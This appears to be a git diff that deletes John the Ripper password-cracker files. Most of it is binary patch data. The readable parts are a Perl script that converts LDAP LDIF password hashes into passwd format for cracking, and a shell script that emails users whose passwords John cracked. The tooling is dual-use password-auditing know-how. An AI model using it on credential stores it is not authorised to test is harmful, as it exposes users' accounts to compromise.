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 B&zArI diff --git a/data/john/run.linux.x86.any/ldif2pw.pl b/data/john/run.linux.x86.any/ldif2pw.pl deleted file mode 100644 index 6ad89a867a..0000000000 --- a/data/john/run.linux.x86.any/ldif2pw.pl +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/perl - -$i=1; - -while(<>) { - chomp; - if(/^$/) { - if($object{"uid"} ne "") { - print $object{"uid"}.":"; - print $object{"userPassword"} ne "" ? $object{"userPassword"} : "*"; - print ":"; - print $i.":"; - print $i.":"; - print $object{"cn"}.":"; - print $object{"homeDirectory"} ne "" ? $object{"homeDirectory"} : "/"; - print ":/bin/sh\n"; - } - %object = (); - $i++; - next; - } - - ($lhs, $rhs) = split(/: /); - $object{$lhs} = $rhs; -} diff --git a/data/john/run.linux.x86.any/mailer b/data/john/run.linux.x86.any/mailer deleted file mode 100755 index da0494a021..0000000000 --- a/data/john/run.linux.x86.any/mailer +++ /dev/null @@ -1,41 +0,0 @@ -#!/bin/sh -# -# This file is part of John the Ripper password cracker, -# Copyright (c) 1996-98 by Solar Designer -# - -if [ $# -ne 1 ]; then - echo "Usage: $0 PASSWORD-FILE" - exit 0 -fi - -# There's no need to mail users with these shells -SHELLS=-,/bin/false,/dev/null,/bin/sync - -# Look for John in the same directory with this script -DIR="`echo "$0" | sed 's,/[^/]*$,,'`" - -# Let's start -$DIR/john -show "$1" -shells:$SHELLS | sed -n 's/:.*//p' | -( - SENT=0 - - while read LOGIN; do - echo Sending mail to "$LOGIN"... - -# You'll probably want to edit the message below - mail -s 'Bad password' "$LOGIN" << EOF -Hello! - -Your password for account "$LOGIN" is insecure. Please change it as soon -as possible. - -Yours, - Password Checking Robot. -EOF - - SENT=$(($SENT+1)) - done - - echo $SENT messages sent -) diff --git a/data/john/run.linux.x86.any/mkvcalcproba b/data/john/run.linux.x86.any/mkvcalcproba deleted file mode 100755 index 6561a5092999c6b4248e3f3902e39d7fef2f71cd..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 6540 zcmb_g4RBP|6~0Rzut4NR2tqZq>-0sV!jeGHV2P#@YSdIggT^7aS+bk#*3Is^`<9=Q zX_M|o*uKP~r8CadvHWzVv}MF;oh@y#69`5b9gDHfPz8mtPTvY>?5G4$w%>Q(dl7V; z;!JOH_S|#Nch5QZ=iK++{qfSq@3~wq;goTrNKiWVu;Q);Z<=9gs)a{P6cyqMak-d) zChDrYfdL&uoirY#fQmq+FjCs1xJlC?lc=L@k}T*eK<;Tmkl0_8SbEvE9Xe1mIz&M9 zOZ_;oGT_UgBaJ{NQBNPF3g9c?o8*B^a&*hz(E|{_RGj|vBH`8ZB7wP)a5S~fn~Ztq zTYceL#(wLaD`a2B!9H%#rJ$K07S=i5i6H8nqM~vch*NqAs1!66M7zZxg#14XeL7_l zDw9E+?obq;CUXQ`i{_D2<2V4HBEgu4>{-iCxZOglD 